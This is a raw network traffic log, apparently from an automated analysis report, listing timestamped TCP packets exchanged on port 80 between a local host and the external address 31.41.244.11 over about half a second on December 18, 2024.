Dec 18, 2024 11:47:28.497229099 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.497275114 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.497275114 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.498060942 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.498071909 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.498085976 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.498116970 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.498156071 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.498784065 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.498822927 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.498832941 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.498833895 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.498862982 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.499625921 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.499638081 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.499670982 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.499680996 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.499733925 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.500524998 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.500545025 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.500557899 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.500592947 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.500623941 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.501203060 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.501214027 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.501226902 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.501457930 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.502100945 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.502111912 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.502124071 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.502146006 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.502388954 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.502996922 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.503009081 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.503021002 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.503108025 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.503108025 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.503704071 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.503715038 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.503726959 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.503760099 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.503818035 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.504473925 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.504484892 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.504532099 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.504569054 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.504904985 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.505331039 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.505362034 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.505373955 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.505400896 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.505425930 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.506109953 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.506122112 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.506133080 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.506205082 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.506804943 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.507059097 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.507334948 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.670273066 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.670290947 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.670315027 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.670329094 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.670336962 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.670341969 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.670357943 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.670429945 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.671101093 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.671118021 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.671130896 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.671173096 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.671173096 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.671981096 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.671994925 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.672008038 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.672059059 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.672059059 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.672661066 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.672694921 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.672708035 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.672719002 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.672754049 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.673567057 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.673583031 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.673618078 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.673629045 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.673660994 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.673733950 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.674299955 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.674312115 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.674325943 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.674343109 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.674441099 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.675077915 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.675137997 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.675149918 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.675173044 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.675173044 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.675204039 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.675918102 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.675930023 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.675945997 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.675978899 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.675978899 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.675991058 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.676711082 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.676733971 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.676752090 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.676772118 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.676822901 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.677031040 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.677479982 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.677521944 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.677536011 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.677567959 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.677597046 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.678299904 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.678350925 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.678363085 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.678416014 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.678416014 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.679066896 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.679079056 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.679094076 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.679126978 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.679174900 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.679887056 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.679899931 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.679913998 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.679935932 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.679963112 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.680674076 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.680715084 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.680727959 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.680748940 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.680748940 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.680778980 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.681540966 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.681555033 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.681561947 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.681629896 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.682291985 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.682317019 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.682331085 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.682349920 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.682391882 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.683082104 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.683140039 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.683152914 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.683186054 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.683897972 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.683911085 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.683923960 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.683962107 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.683984995 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.684741974 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.684753895 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.684767008 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.684799910 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.684799910 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.685574055 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.685585976 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.685599089 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.685650110 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.685650110 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.686348915 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.686362982 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.686378002 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.686417103 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.686461926 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.687122107 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.687134981 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.687150002 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.687182903 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.687277079 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.687963963 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.688174963 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.688184023 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.688196898 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.688210011 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.688229084 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.688246965 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.688280106 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.688983917 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.688997030 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.689009905 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.689028978 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.689050913 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.689776897 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.689789057 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.689802885 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.689830065 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.689878941 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.690594912 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.690607071 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.690619946 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.690695047 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.690695047 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.691386938 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.691410065 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.691421986 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.691467047 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.691467047 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.692235947 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.692249060 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.692255974 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.692387104 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.692939043 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.692982912 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.692996979 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.693061113 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.693061113 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.693834066 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.693857908 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.693871021 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.693902016 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.694111109 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.694770098 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.694782972 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.694797993 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.694842100 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.694842100 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.695364952 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.695409060 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.695420980 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.695444107 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.695444107 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.695506096 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.696245909 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.696259022 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.696274996 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.696306944 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.696307898 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.697000980 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.697015047 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.697027922 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.697050095 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.697793961 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.697807074 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.697849035 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.697849035 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.861519098 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.861538887 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.861553907 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.861613035 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.861668110 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.861866951 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.861880064 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.861922979 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.861926079 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.862474918 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.862550020 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.862602949 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.862611055 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.862628937 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.862701893 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.863321066 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.863373041 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.863385916 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.863442898 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.863442898 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.864175081 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.864187002 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.864202023 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.864226103 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.864286900 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.865026951 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.865040064 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.865051985 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.865072012 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.865091085 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.865732908 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.865768909 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.865782976 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.865793943 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.865811110 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.865942955 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.866544008 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.866589069 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.866602898 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.866630077 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.866677046 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.867363930 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.867397070 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.867412090 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.867432117 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.867432117 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.867480993 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.868237019 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.868249893 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.868262053 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.868335962 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.868335962 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.869013071 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.869025946 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.869036913 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.869102955 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.869143009 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.869859934 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.869874001 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.869939089 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.869961023 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.870049953 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.870520115 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.870567083 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.870570898 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.870584011 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.870631933 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.871371984 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.871458054 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.871486902 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.871598005 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.871629953 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.871630907 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.872133017 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.872191906 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.872205019 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.872232914 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.872268915 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.873012066 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.873024940 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.873037100 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.873085022 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.873085022 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.873754978 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.873768091 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.873780966 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.873816967 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.873840094 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.874576092 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.874650002 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.874718904 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.874763966 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.874763966 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.875374079 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.875386000 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.875399113 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.875446081 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.875446081 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.876183033 CET	80	49837	31.41.244.11	192.168.2.6
